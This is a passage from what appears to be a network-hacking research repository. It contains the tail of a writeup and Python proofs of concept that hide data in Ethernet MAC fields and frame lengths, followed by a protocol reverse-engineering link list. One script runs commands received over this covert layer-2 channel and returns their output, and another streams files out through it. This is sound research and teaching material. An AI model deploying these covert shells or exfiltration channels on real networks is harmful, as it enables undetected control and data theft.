eth.src[4]\n        msgBuf += bytes([( ( inData[4] + csum ) % 256 ) ^ inData[5]]) # eth.src[5]\n        calcSum = getChecksum(msgBuf)\n        # Checksums are calculated on the data and compared to the reported checksum\n        # - If it matches, then it continues processing.\n        # - This could use some work but it's a POC y'all.\n        if csum == calcSum:\n            if srcdec not in msgBufz.keys():\n                msgBufz[srcdec] = b\"\" # When a new source is found, it adds to the buffer list\n            if msgBuf[0] == 2: # This detects the STX (0x02) character indicating message start\n                msgBufz[srcdec] = msgBuf # Adds the contents to the src's buffer in the list\n            elif b\"\\x03\" in msgBuf: # This detects the ETX (0x03) character indicating message end.\n                msgBufz[srcdec] += msgBuf # Add the content to the src's buffer\n                outMsg = msgBufz[srcdec][1:] # This grabs the message after STX\n                outMsg = outMsg.split(b\"\\x03\")[0] # This grabs the message before ETX\n                try:\n                    # Attempt to decode and print the buffer, then clear the buffer\n                    print(\"{}: {}\".format(srcdec, base64.b64decode(outMsg).decode('latin-1')))\n                    msgBufz[srcdec] = b\"\"\n                except:\n                    # If there's a decoding failure then clear the buffer\n                    msgBufz[srcdec] = b\"\"\n            else:\n                msgBufz[srcdec] += msgBuf\n\ndef makeBuffer(inData,csum):\n    # This just adds the ASCII control chars to the data\n    buf = b\"\"\n    buf += b\"\\x02\" # STX\n    buf += inData\n    buf += b\"\\x03\" # ETX\n    return buf\n\ndef rcvMessage(inSock):\n    while True:\n        packet = inSock.recvfrom(65565)\n        packet = packet[0]\n        igbit = packet[0] & 1 # Check the bottom bit of the first byte\n        if igbit:\n            ethdst  = packet[0:6]\n            ethsrc  = packet[6:12]\n            decodeMessage(ethsrc) # Attempt to decode\n\ndef sendMessage(inData,dstnode,srcnode,inSock):\n    i = 0\n    padding = (len(inData) % 3)\n    if padding != 0:\n        randpad = bytes([random.randrange(80,255)]) # Get a random number outside the range we use\n        inData += randpad*(3-padding) # Adds padding bytes if needed\n    mlen = len(inData)\n    # Split the buffer into three byte chunks, do the encoding, and stuff into a packet template.\n    while i < mlen:\n        chunk = inData[i:i+3]\n        p = b\"\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\" # eth.src\n        p += encodeMsg(chunk, srcnode, dstnode) # eth.dst\n        p += getTemplate() # packet body\n        inSock.send(p)\n        i = i+3\n\ndef msgLoop(t):\n    for line in sys.stdin:\n        dstnode = 0\n        msg = line.rstrip()\n        msg = msg.encode('latin-1')\n        b64msg = base64.b64encode(msg)\n        csum = getChecksum(msg)\n        pktbuf = makeBuffer(b64msg,csum)\n        sendMessage(pktbuf,dstnode,srcnode,t)\n\nif __name__ == \"__main__\":\n    t = socket(AF_PACKET, SOCK_RAW) # This is the socket to transmit\n    t.bind((interface, 0))\n    r = socket( AF_PACKET, SOCK_RAW, ntohs(0x0003)) # This is how msgs are received\n    x = threading.Thread(target=rcvMessage, args=(r,)) # Thread for receive loop\n    x.start()\n    y = threading.Thread(target=msgLoop, args=(t,)) # Thread for transmit loop\n    y.start()\n```\n\nTo run it, just do:\n\n```python\n$ sudo python3 srcdirect.py -i yourinterface -s somenumber_between_1_and_15\n```\n\nDo the same with a different number as an argument to `-s` and chat using the multicast node 0.\n\nPOC video here: [https://twitter.com/netspooky/status/1515102935595765776](https://twitter.com/netspooky/status/1515102935595765776)\n\nThere was some drama with my wireless card which I think I may have messed up through my testing. Certain packets became garbled for some reason, and others were just dropped. This was tested on both Netgear and Linksys routers between three hosts, all connected directly over ethernet.\n\n## There’s No OUI Without U and I\n\nHopefully this got you interested in playing with network stuff more! If you have any questions, comments, or your router caught fire, hit me up on [Twitter](https://twitter.com/netspooky).\n\nSpecial thanks to: remy, Samy Kamkar, Mike Lynn, bigendiansmalls, hermit, chompie, birch, bbq, hyp, kayos, everyone who tested stuff with me, everyone who made their own versions of the things I was sharing prior to releasing this writeup, tchq, and tmp.0ut!\n"
  },
  {
    "path": "broadcast_brujeria/srcdirect/srcdirect.py",
    "content": "import base64\nimport sys\nimport random\nfrom socket import *\nimport argparse\nimport threading\n\nparser = argparse.ArgumentParser(description='srcdirect')\nparser.add_argument('-i', dest='interface', help='Your interface')\nparser.add_argument('-s', dest='srcnode', type=int, help='Your node number, range (1-15)')\n\nargs   = parser.parse_args()\ninterface = args.interface\nsrcnode = args.srcnode\nif srcnode < 1 or srcnode > 15:\n    print(\"Invalid source node, range is 1 to 15\")\n    sys.exit()\n\nmsgBufz = {} # These are buffers for holding messages from each host\n\ndef getChecksum(inData):\n    c = 0 # Our checksum is just 1 byte\n    for d in inData:\n        c = (c + d) % 256\n    return c\n\ndef getTemplate():\n    # - The idea here is to have a set of packet templates to diversify traffic patterns\n    # - The decoding logic only checks the IG bit of eth.dst, so any multicast packet\n    #   is fair game for holding this data.\n    # - You can dynamically generate templates too, this just a POC\n    arp =  b\"\" # ARP Request\n    arp += b\"\\x08\\x06\"                 # eth.type (ARP)\n    arp += b\"\\x00\\x01\"                 # arp.hw.type        -- Hardware Type: Ethernet\n    arp += b\"\\x08\\x00\"                 # arp.proto.type     -- Protocol Type: IPv4\n    arp += b\"\\x06\"                     # arp.hw.size        -- Hardware Size: 6\n    arp += b\"\\x04\"                     # arp.proto.size     -- Protocol Size: 4\n    arp += b\"\\x00\\x01\"                 # arp.opcode         -- Opcode: Request\n    arp += b\"\\x00\\x11\\x22\\x33\\x44\\x55\" # arp.src.hw_mac     -- Source MAC Address\n    arp += b\"\\x0a\\x00\\x01\\x0a\"         # arp.src.proto_ipv4 -- Source IP: 10.0.1.10\n    arp += b\"\\x00\\x00\\x00\\x00\\x00\\x00\" # arp.dst.hw_mac     -- Target MAC Address\n    arp += b\"\\x0a\\x00\\x01\\x0b\"         # arp.dst.proto_ipv4 -- Target IP: 10.0.1.11\n\n    igmp =  b\"\" # IGMP Membership Query (General)\n    igmp += b\"\\x08\\x00\"         # eth.type = ipv4\n    igmp += b\"\\x45\\xc0\"         # ip dsfield, len\n    igmp += b\"\\x00\\x1c\"         # ip.len \n    igmp += b\"\\xac\\xab\"         # ip.id\n    igmp += b\"\\x00\\x00\\x01\"     # ip.flags, ip.frag_offset, ip.ttl\n    igmp += b\"\\x02\"             # ip.proto      -- IGMP\n    igmp += b\"\\x4e\\x53\"         # ip.checksum\n    igmp += b\"\\x0a\\x0a\\x01\\x01\" # ip.src        -- 10.10.1.1\n    igmp += b\"\\xe0\\x00\\x00\\x01\" # ip.dst        -- 224.0.0.1\n    igmp += b\"\\x11\"             # igmp.type     -- Membership query\n    igmp += b\"\\x64\"             # igmp.max_resp\n    igmp += b\"\\xee\\x9b\"         # igmp.checksum\n    igmp += b\"\\x00\\x00\\x00\\x00\" # igmp.maddr \n\n    ssdp = b\"\" # SSDP M-SEARCH template\n    ssdp += b\"\\x08\\x00\"         # eth.type = ipv4\n    ssdp += b\"\\x45\\x00\"         # ip dsfield, len\n    ssdp += b\"\\x00\\xc7\"         # ip.len\n    ssdp += b\"\\xac\\xab\"         # ip.id\n    ssdp += b\"\\x40\\x00\\x01\"     # ip.flags, ip.frag_offset, ip.ttl\n    ssdp += b\"\\x11\"             # ip.proto      -- UDP\n    ssdp += b\"\\x4e\\x53\"         # ip.checksum\n    ssdp += b\"\\x0a\\x0a\\x01\\x01\" # ip.src        -- 10.10.1.1\n    ssdp += b\"\\xef\\xff\\xff\\xfa\" # ip.dst        -- 239.255.255.250\n    ssdp += b\"\\xc7\\x64\"         # udp.srcport\n    ssdp += b\"\\x07\\x6c\"         # udp.dstport\n    ssdp += b\"\\x00\\xb3\"         # udp.length (179)\n    ssdp += b\"\\x3a\\x29\"         # udp.checksum\n    ssdp += b\"M-SEARCH * HTTP/1.1\\x0d\\x0a\"\n    ssdp += b\"HOST: 239.255.255.250:1900\\x0d\\x0a\"\n    ssdp += b\"MAN: \\\"ssdp:discover\\\"\\x0d\\x0a\"\n    ssdp += b\"MX: 1\\x0d\\x0a\"\n    ssdp += b\"ST: urn:dial-multiscreen-org:service:dial:1\\x0d\\x0a\"\n    ssdp += b\"USER-AGENT: iNNAnet xXxPlora 420.69 Z00buntu\"\n    ssdp += b\"\\x0d\\x0a\\x0d\\x0a\"\n\n    pkttemplates = [arp,igmp,ssdp]\n    return random.choice(pkttemplates)\n\ndef encodeMsg(inData,srcnode,dstnode):\n    # This is the message structure, stuffed into the eth.src field\n    #  ┌───────────────────── XOR Key\n    #  │   ┌───────────────── Checksum\n    #  │   │   ┌───────────── Routing info\n    #  │   │   │   ┌───────── The 02 is the ASCII STX character\n    # ┌┴─┐┌┴─┐┌┴─┐┌│─Text──┐ # Hex dump of plain text\n    # │XR││CS││RR││02 62 6d│ # .bm  ┐\n    # │XR││CS││RR││56 30 63│ # V0c  │\n    # │XR││CS││RR││33 42 76│ # 3Bv  ├─ Base64 of \"netspooky\"\n    # │XR││CS││RR││62 32 74│ # b2t  │\n    # │XR││CS││RR││35 03 xx│ # 5..  ┘\n    # └──┘└──┘└──┘└───│──│─┘\n    #                 │  └─── Padding\n    #                 └────── The 03 is the ASCII ETX character\n    srcenc = srcnode & 0x0F\n    dstenc = dstnode << 4 # shift the value to occupy the top 4 bits\n    rr = dstenc | srcenc\n    msgSeed = random.randrange(0,256)\n    msgSeed = msgSeed & 0xFE # Ensure the bottom bit is never set\n    msgBuf  = b\"\"\n    csum = getChecksum(inData)\n    msgBuf += bytes([msgSeed])        # eth.src[0]\n    msgBuf += bytes([msgSeed ^ csum]) # eth.src[1]\n    msgBuf += bytes([( ( msgBuf[1] + csum ) % 256 ) ^ rr]) # eth.src[2]\n    msgBuf += bytes([( ( msgBuf[2] + csum ) % 256 ) ^ inData[0]]) # eth.src[3]\n    msgBuf += bytes([( ( msgBuf[3] + csum ) % 256 ) ^ inData[1]]) # eth.src[4]\n    msgBuf += bytes([( ( msgBuf[4] + csum ) % 256 ) ^ inData[2]]) # eth.src[5]\n    return msgBuf\n\ndef decodeMessage(inData):\n    csum = inData[0] ^ inData[1] # eth.src[0] ^ eth.src[1]\n    rr = ( ( inData[1] + csum ) % 256 ) ^ inData[2] # eth.src[2]\n    srcdec = rr & 0x0F\n    dstdec = rr >> 4\n    # If the source node is the sending node, then messages are ignored.\n    if srcdec != srcnode:\n        msgBuf = b\"\"\n        msgBuf += bytes([( ( inData[2] + csum ) % 256 ) ^ inData[3]]) # eth.src[3]\n        msgBuf += bytes([( ( inData[3] + csum ) % 256 ) ^ inData[4]]) # eth.src[4]\n        msgBuf += bytes([( ( inData[4] + csum ) % 256 ) ^ inData[5]]) # eth.src[5]\n        calcSum = getChecksum(msgBuf)\n        # Checksums are calculated on the data and compared to the reported checksum\n        # - If it matches, then it continues processing.\n        # - This could use some work but it's a POC y'all.\n        if csum == calcSum:\n            if srcdec not in msgBufz.keys():\n                msgBufz[srcdec] = b\"\" # When a new source is found, it adds to the buffer list\n            if msgBuf[0] == 2: # This detects the STX (0x02) character indicating message start\n                msgBufz[srcdec] = msgBuf # Adds the contents to the src's buffer in the list\n            elif b\"\\x03\" in msgBuf: # This detects the ETX (0x03) character indicating message end.\n                msgBufz[srcdec] += msgBuf # Add the content to the src's buffer\n                outMsg = msgBufz[srcdec][1:] # This grabs the message after STX\n                outMsg = outMsg.split(b\"\\x03\")[0] # This grabs the message before ETX\n                try:\n                    # Attempt to decode and print the buffer, then clear the buffer\n                    print(\"{}: {}\".format(srcdec, base64.b64decode(outMsg).decode('latin-1')))\n                    msgBufz[srcdec] = b\"\"\n                except:\n                    # If there's a decoding failure then clear the buffer\n                    msgBufz[srcdec] = b\"\"\n            else:\n                msgBufz[srcdec] += msgBuf\n\ndef makeBuffer(inData,csum):\n    # This just adds the ASCII control chars to the data\n    buf = b\"\"\n    buf += b\"\\x02\" # STX\n    buf += inData\n    buf += b\"\\x03\" # ETX\n    return buf\n\ndef rcvMessage(inSock):\n    while True:\n        packet = inSock.recvfrom(65565)\n        packet = packet[0]\n        igbit = packet[0] & 1 # Check the bottom bit of the first byte\n        if igbit:\n            ethdst  = packet[0:6]\n            ethsrc  = packet[6:12]\n            decodeMessage(ethsrc) # Attempt to decode\n\ndef sendMessage(inData,dstnode,srcnode,inSock):\n    i = 0\n    padding = (len(inData) % 3)\n    if padding != 0:\n        randpad = bytes([random.randrange(80,255)]) # Get a random number outside the range we use\n        inData += randpad*(3-padding) # Adds padding bytes if needed\n    mlen = len(inData)\n    # Split the buffer into three byte chunks, do the encoding, and stuff into a packet template.\n    while i < mlen:\n        chunk = inData[i:i+3]\n        p = b\"\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\" # eth.src\n        p += encodeMsg(chunk, srcnode, dstnode) # eth.dst\n        p += getTemplate() # packet body\n        inSock.send(p)\n        i = i+3\n\ndef msgLoop(t):\n    for line in sys.stdin:\n        dstnode = 0\n        msg = line.rstrip()\n        msg = msg.encode('latin-1')\n        b64msg = base64.b64encode(msg)\n        csum = getChecksum(msg)\n        pktbuf = makeBuffer(b64msg,csum)\n        sendMessage(pktbuf,dstnode,srcnode,t)\n\nif __name__ == \"__main__\":\n    t = socket(AF_PACKET, SOCK_RAW) # This is the socket to transmit\n    t.bind((interface, 0))\n    r = socket( AF_PACKET, SOCK_RAW, ntohs(0x0003)) # This is how msgs are received\n    x = threading.Thread(target=rcvMessage, args=(r,)) # Thread for receive loop\n    x.start()\n    y = threading.Thread(target=msgLoop, args=(t,)) # Thread for transmit loop\n    y.start()\n"
  },
  {
    "path": "broadcast_brujeria/zeroeth/zeroeth.client.py",
    "content": "import socket\nimport time\n\n# LISTEN.PY - Simple null frame transport over ethernet listener for ZEROETH\n# Run:\n# $ sudo python3 zeroeth.client.py\n# On the remote computer:\n# $ cat file | sudo python3 zeroeth.py\n\ns = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))\ntimeout = time.time() + 10 # Time limit for listener\n\nwhile time.time() < timeout:\n    try:\n        packet  = s.recvfrom(65565) # The buffer\n        packet  = packet[0]     # Our packet\n        ethtype = packet[12:14] # The ethernet type\n\n        #if ethtype == b\"\\x00\\x00\": # Match the ethernet type\n        if ethtype == b\"\\x5a\\x45\": # Match the ethernet type\n            decodedpkt = len(packet) - 0x40\n            print(\"{}\".format(chr(decodedpkt)), end=\"\")\n    except Exception as e:\n        print(e)\n"
  },
  {
    "path": "broadcast_brujeria/zeroeth/zeroeth.py",
    "content": "from socket import *\nimport sys\n\n# ZEROETH.PY - Simple null frame transport over ethernet\n# Run:\n# $ cat file | sudo python3 zeroeth.py\n# On the remote computer:\n# $ sudo python3 zeroeth.client.py\n\ninterface = \"eth0\" # Your network interface\nmessage = sys.stdin.buffer.read()\n\ndef getHeader():\n    # Some routers, OSes, and other things a packet may pass through have issues with small \n    # frames that don't have a designated ethernet type. This header basically ensures that\n    # at least 64 bytes is sent per frame.\n    #\n    # Minimal Ethernet Frame Layout\n    #\n    #         ┌dst──────────────┬src──────────────┬type─┐\n    #   0000: └01─00─00─00─00─00┴00─00─00─00─00─00┴00─00┘00 00\n    #   0010:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    #   0020:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    #   0030:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    # \n    # As long as the lowest bit of the eth.dst field is set to 1, the packet is multicast.\n\n    data =  b\"\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\" # eth.dst multicast\n    data += b\"\\x5a\\x45\\x5a\\x45\\x5a\\x45\"\n    data += b\"\\x5a\\x45\" # eth.type\n    data += b\"\\x00\" * 50 # The rest is just padding.\n    return data\n\ndef sendData(inData,inSock):\n    framee =  getHeader()\n    framee += b\"\\x00\" * inData # Creates a frame with null bytes that add up to the bytes value\n    inSock.send(framee)\n\ns = socket(AF_PACKET, SOCK_RAW)\ns.bind((interface, 0))\n\nfor i in message:\n    sendData(i,s)\n"
  },
  {
    "path": "broadcast_brujeria/zeroeth/zeroeth_min.client.py",
    "content": "import socket\nimport time\n\n# ZEROETH_MIN.CLIENT.PY - Simple null frame transport over ethernet listener for ZEROETH\n# Run:\n# $ sudo python3 zeroeth_min.client.py\n# On the remote computer:\n# $ cat file | sudo python3 zeroeth_min.py\n\ns = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))\ntimeout = time.time() + 10 # Time limit for listener\n\nwhile time.time() < timeout:\n    try:\n        packet  = s.recvfrom(65565) # The buffer\n        packet  = packet[0]     # Our packet\n        ethtype = packet[12:14] # The ethernet type\n\n        if ethtype == b\"\\x00\\x00\": # Match the ethernet type\n            decodedpkt = len(packet) - 0x40\n            print(\"{}\".format(chr(decodedpkt)), end=\"\")\n    except Exception as e:\n        print(e)\n"
  },
  {
    "path": "broadcast_brujeria/zeroeth/zeroeth_min.py",
    "content": "from socket import *\nimport sys\n\n# ZEROETH_MIN.PY - Simple null frame transport over ethernet\n# Run:\n# $ cat file | sudo python3 zeroeth_min.py\n# On the remote computer:\n# $ sudo python3 zeroeth_min.client.py\n\ninterface = \"vmnet8\" # Your network interface\nmessage = sys.stdin.buffer.read()\n\ndef getHeader():\n    # Some routers, OSes, and other things a packet may pass through have issues with small \n    # frames that don't have a designated ethernet type. This header basically ensures that\n    # at least 64 bytes is sent per frame.\n    #\n    # Minimal Ethernet Frame Layout\n    #\n    #         ┌dst──────────────┬src──────────────┬type─┐\n    #   0000: └01─00─00─00─00─00┴00─00─00─00─00─00┴00─00┘00 00\n    #   0010:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    #   0020:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    #   0030:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    # \n    # As long as the lowest bit of the eth.dst field is set to 1, the packet is multicast.\n\n    data =  b\"\\x01\" # eth.dst multicast\n    data += b\"\\x00\" * 63 # The rest is just padding.\n    return data\n\ndef sendData(inData,inSock):\n    framee =  getHeader()\n    framee += b\"\\x00\" * inData # Creates a frame with null bytes that add up to the bytes value\n    inSock.send(framee)\n\ns = socket(AF_PACKET, SOCK_RAW)\ns.bind((interface, 0))\n\nfor i in message:\n    sendData(i,s)\n"
  },
  {
    "path": "broadcast_brujeria/zeroeth/zeroeth_routing_min.client.py",
    "content": "from socket import *\nimport time\nimport sys\n# ZEROETH_ROUTING_MIN.CLIENT.PY\ninterface = \"ens33\" # Change to your interface\nnodeaddr = 0 # Range is 0 through 3\nsrvaddr = 1 # This is who we are sending data to\ntimeOut = 3 # Need this so we can ensure all the data comes back from the server\n\ndef sendData(inData,inSock,isLast,dstNode):\n    baseByte = 1 # This sets the multicast bit\n    srcNode  = nodeaddr << 2 # This is where our node address goes\n    dstNode  = dstNode << 4 # This is who we are sending to\n    baseByte = baseByte | srcNode\n    baseByte = baseByte | dstNode\n    framee = b\"\"\n    if isLast:\n      baseByte = baseByte | 0x40\n    framee += baseByte.to_bytes(1,'big')\n    framee += b\"\\x00\" * 63 # The rest is just padding.\n    framee += b\"\\x00\" * inData # Creates a frame with null bytes that add up to the bytes value\n    inSock.send(framee)\n\ndef encodeMessage(inData, inSock, dstNode):\n    endchar = 0\n    for i in inData:\n        sendData(i,inSock,0,dstNode)\n    sendData(endchar,inSock,1,dstNode)\n\ndef decodeMessage(inSock):\n  decodeTimeout = time.time() + timeOut # Time limit for listener\n  outbuf = \"\"\n  \n  while time.time() < decodeTimeout:\n      try:\n          packet  = inSock.recvfrom(65565) # The buffer\n          packet  = packet[0]     # Our packet\n          byte0   = packet[0] # The very first byte \n          ethtype = packet[12:14] # The ethernet type\n  \n          if ethtype == b\"\\x00\\x00\": # Match the ethernet type\n              # Check the first byte now to see if it's multicast\n              if byte0 & 1:\n                  #if byte0 & 0x80:\n                  #    bindata = 1 # Check the mode - Not implemented yet\n                  dst = byte0 & 0x30 # This preserves bits 5 and 6\n                  dst = dst >> 4     # Turn this into a value\n                  src = byte0 & 0x0C # This preserves bits 3 and 4\n                  src = src >> 2     # Turn this into a value\n                  if dst == nodeaddr: # This message is for us\n                    decodedpkt = len(packet) - 0x40\n                    outbuf += chr(decodedpkt)\n                  if byte0 & 0x40:\n                      print(outbuf)\n                      outbuf = \"\"\n      except Exception as e:\n        print()\n\n# Receive\nr = socket( AF_PACKET, SOCK_RAW, ntohs(0x0003))\nr.settimeout(timeOut)\n# Transmit\nt = socket(AF_PACKET, SOCK_RAW)\nt.bind((interface, 0))\n\nwhile True:\n    for line in sys.stdin:\n        if 'exit' == line.rstrip():\n            break\n        encodeMessage(line.encode('latin-1'),t,srvaddr) # Sending data\n        decodeMessage(r)\n"
  },
  {
    "path": "broadcast_brujeria/zeroeth/zeroeth_routing_min.py",
    "content": "from socket import *\nimport subprocess\n# ZEROETH_ROUTING_MIN.PY\ninterface = \"ens33\" # Your network interface\nnodeaddr = 1 # Range is 0 through 3\n\ndef sendData(inData,inSock,isLast,dstNode):\n    baseByte = 1 # This sets the multicast bit\n    srcNode  = nodeaddr << 2 # This is where our node address goes\n    dstNode  = dstNode << 4 # This is who we are sending to\n    baseByte = baseByte | srcNode\n    baseByte = baseByte | dstNode\n    framee = b\"\"\n    if isLast:\n      baseByte = baseByte | 0x40\n    framee += baseByte.to_bytes(1,'big')\n    framee += b\"\\x00\" * 63 # The rest is just padding.\n    framee += b\"\\x00\" * inData # Creates a frame with null bytes that add up to the bytes value\n    inSock.send(framee)\n\ndef encodeMessage(inData, inSock, dstNode):\n    endchar = 0\n    for i in inData:\n        sendData(i,inSock,0,dstNode)\n    sendData(endchar,inSock,1,dstNode)\n\ndef getAsciiChar(inData):\n    decodedpkt = len(inData) - 0x40\n    return chr(decodedpkt)\n\ndef runCmd(inCmd):\n    inCmdList = inCmd.split()\n    inCmdList.pop()\n    out = subprocess.run(inCmdList, capture_output=True)\n    #print(out.stdout)\n    return out.stdout\n\n# Receive\nr = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003))\n# Transmit \nt = socket(AF_PACKET, SOCK_RAW)\nt.bind((interface, 0))\n\ndatabuf = \"\"\n\nwhile True:\n    # What we need for our message\n    packet = r.recvfrom(65565)\n    packet = packet[0]\n    byte0  = packet[0] # The very first byte \n    ethtype = packet[12:14] # We want to check if this is our type\n    if ethtype == b\"\\x00\\x00\":\n        # Check the first byte now to see if it's multicast\n        if byte0 & 1:\n            #if byte0 & 0x80:\n            #    bindata = 1 # Check the mode, this isn't implemented yet\n            dst = byte0 & 0x30 # This preserves bits 5 and 6\n            dst = dst >> 4     # Turn this into a value\n            src = byte0 & 0x0C # This preserves bits 3 and 4\n            src = src >> 2     # Turn this into a value\n            if dst == nodeaddr: # This is for us\n                #print(\"DST: {} SRC: {}\".format(dst, src))\n                decodedpkt = len(packet) - 0x40\n                databuf += chr(decodedpkt)\n                if byte0 & 0x40:\n                    cmdOut = runCmd(databuf)\n                    encodeMessage(cmdOut,t,src)\n                    databuf = \"\"\n"
  },
  {
    "path": "protocol_re/README.md",
    "content": "# Protocol RE\n\nThis is the landing page for resources about protocol RE.\n\nVideo: https://www.youtube.com/watch?v=73KJQRqz_Ec\n\nContents\n\n- Talk Slides from 2023-05-11\n- Resource page for talk\n\n"
  },
  {
    "path": "protocol_re/pre_talk_2023_rsrc.md",
    "content": "# Resources and References Page\nThis page contains links to things mentioned in my Protocol Reverse Engineering talk. Other cool links are also included for further reading.\n\n## Protocol RE Fundamentals\n\n- Method used by linguists to decipher unknown languages https://en.wikipedia.org/wiki/Comparative_method\n- The Decipherment of Maya Script https://www.youtube.com/watch?v=YvLs3gDLCOI\n- List of undeciphered writing systems https://en.wikipedia.org/wiki/Undeciphered_writing_systems\n- LiveOverflow - What Is A Protocol? https://www.youtube.com/watch?v=d-zn-wv4Di8\n- https://en.wikipedia.org/wiki/Morse_code\n- https://en.wikipedia.org/wiki/Quadrature_amplitude_modulation\n- https://en.wikipedia.org/wiki/Telephony#Digital_telephony\n- https://en.wikipedia.org/wiki/Protocol_Wars\n- https://en.wikipedia.org/wiki/Protocol_ossification\n- https://en.wikipedia.org/wiki/Control_character\n- https://en.wikipedia.org/wiki/8-bit_clean\n- Encoding Mutations: A Base64 Case Study https://n0.lol/encmute/\n- Info about Enron Modbus https://www.simplymodbus.ca/Enron.htm\n\n## Protocol RE Techniques\n- hyp's Protocol RE Resources Page https://github.com/scratchadams/PRE-Resources/\n\n### Packet Analysis\n\n- https://en.wikipedia.org/wiki/File_Transfer_Protocol#Communication_and_data_transfer\n- https://en.wikipedia.org/wiki/Network_Control_Protocol_(ARPANET)\n- https://wiki.wireshark.org/SnapLen.md\n- PCAP File Format https://gitlab.com/wireshark/wireshark/-/wikis/Development/LibpcapFileFormat\n- Sample Captures https://wiki.wireshark.org/SampleCaptures\n- https://www.netresec.com/?page=PcapFiles\n- Dork: `site:cloudshark.org inurl:/collections/`\n- The Wireshark Wiki https://gitlab.com/wireshark/wireshark/-/wikis/home\n- Expanding Wireshark Beyond Network Interfaces https://sharkfestus.wireshark.org/sharkfest.13/presentations/NAP-11_Expanding-Wireshark-Beyond-Ethernet-and-Network-Interfaces_Kershaw-Ryan.pdf\n- USB Replay https://github.com/JohnDMcMaster/usbrply\n- TCP Replay https://github.com/appneta/tcpreplay\n- Editcap https://www.wireshark.org/docs/man-pages/editcap.html\n- tcpdump https://www.tcpdump.org/\n- tshark https://www.wireshark.org/docs/man-pages/tshark.html\n- termshark https://github.com/gcla/termshark\n- LAN Tap https://greatscottgadgets.com/throwingstar/\n- https://man7.org/linux/man-pages/man5/protocols.5.html\n- SpeedGuide Ports List https://www.speedguide.net/ports.php\n- https://en.wikipedia.org/wiki/Ephemeral_port\n- https://en.wikipedia.org/wiki/Communication_protocol#Basic_requirements\n- Identifying Timestamps - https://github.com/netspooky/notes/blob/main/re/timestamps.md \n- Ben Eater - How Do CRCs Work? https://www.youtube.com/watch?v=izG7qT0EpBw\n- CRC Calculator https://crccalc.com/\n- https://github.com/netspooky/notes/blob/main/re/string_representation.md \n- https://en.wikipedia.org/wiki/Type%E2%80%93length%E2%80%93value\n- https://tls13.xargs.org/ - put this under Common Protocol Components TLV\n- https://github.com/netspooky/xx/blob/main/examples/tls-clienthello.xx\n- https://subtls.pages.dev/ See this page fetch itself, byte by byte, over TLS\n- pdiff2 - https://github.com/netspooky/pdiff2\n- pdiff-wasm - https://remyhax.xyz/tools/pdiffwasm/\n- NetworkMiner - https://www.netresec.com/?page=NetworkMiner\n- ngrep - https://github.com/jpr5/ngrep \n- binwalk - https://github.com/ReFirmLabs/binwalk \n- https://en.wikipedia.org/wiki/Protocol_pipelining\n- https://portswigger.net/web-security/request-smuggling\n- https://securityintelligence.com/posts/dissecting-exploiting-tcp-ip-rce-vulnerability-evilesp/\n- Computerphile - Encryption and Entropy https://www.youtube.com/watch?v=8VSuwDG4bhw\n- Good writeup about entropy uses and analysis https://gynvael.coldwind.pl/?id=162\n- Reverse Engineering Binary Protocols to Create IPS Signatures https://medium.com/@kevin.massey1189/reverse-engineering-binary-protocols-to-create-ips-signatures-c0eb926e7a2\n- Firewalls and Internet Security: Repelling the Wily Hacker http://wilyhacker.com/ (Old but gold)\n- Attacking Network Protocols https://nostarch.com/networkprotocols \n- Practical Packet Analysis, 3rd Edition - https://nostarch.com/packetanalysis3\n- Simple Browser Hex Calculator https://github.com/netspooky/hexcalc\n\n### Software RE\n\n- Practical Binary Analysis - https://nostarch.com/binaryanalysis\n- https://learn.microsoft.com/en-us/cpp/mfc/windows-sockets-background?view=msvc-170\n- https://www.freertos.org/FreeRTOS-Plus/FreeRTOS_Plus_TCP/FreeRTOS_TCP_API_Functions.html\n- Tool for grouping imports from Windows binaries https://github.com/netspooky/importsort\n- https://en.wikipedia.org/wiki/Berkeley_sockets\n- Getting Started with WinDbg https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg\n- yardenshafir/WinDbg_Scripts https://github.com/yardenshafir/WinDbg_Scripts\n- Azeria Labs - Debugging with GDB https://azeria-labs.com/debugging-with-gdb-introduction/\n- gef extension for GDB https://hugsy.github.io/gef/\n- Visualization of a Linux sk_buff structure that holds packet data https://n0.lol/sk_buff.png or `curl -sL n0.lol/sk_buff.ans`\n- remy - DOing Harm - Windows Delivery Optimization protocol RE https://remyhax.xyz/posts/do-harm/\n- remy - DOing More Harm - https://remyhax.xyz/posts/do-more-harm/\n- Pulling MikroTik into the Limelight - Demystifying and Jailbreaking RouterOS https://margin.re/2022/06/pulling-mikrotik-into-the-limelight/\n- https://github.com/jtpereyda/boofuzz\n- Simple script to send raw frames over an interface https://github.com/netspooky/uJunk/blob/main/net/sendframe.py\n- https://openthread.io/platforms/co-processor\n- Debug Windows Drivers - Step by Step Lab (Sysvad Kernel Mode) https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debug-universal-drivers--kernel-mode-\n- Windows Driver Frameworks https://github.com/microsoft/Windows-Driver-Frameworks\n- Windows Kernel Programming 2nd Edition https://leanpub.com/windowskernelprogrammingsecondedition\n- Linux Kernel Debugging With GDB https://docs.kernel.org/dev-tools/gdb-kernel-debugging.html\n- Linux Kernel Debugging: Going Beyond Printk Messages https://www.youtube.com/watch?v=m7SduY2XrKM\n- Linux Kernel Module Programming Guide https://sysprog21.github.io/lkmpg/\n- Monitoring and Tuning the Linux Networking Stack: Receiving Data https://blog.packagecloud.io/monitoring-tuning-linux-networking-stack-receiving-data/\n- Monitoring and Tuning the Linux Networking Stack: Sending Data https://blog.packagecloud.io/monitoring-tuning-linux-networking-stack-sending-data/\n- scare - Simple Configurable Assembly REPL && Emulator https://github.com/netspooky/scare\n\n### Hardware RE\n\n- Hardware Hacking for the Masses (and you) v2 - w/BusesCanFly https://www.youtube.com/watch?v=3YwrZQVfvm4\n- https://fccid.io/\n- USB-TTL Serial Cable https://www.adafruit.com/product/954\n- Pulseview Logic Analyzer 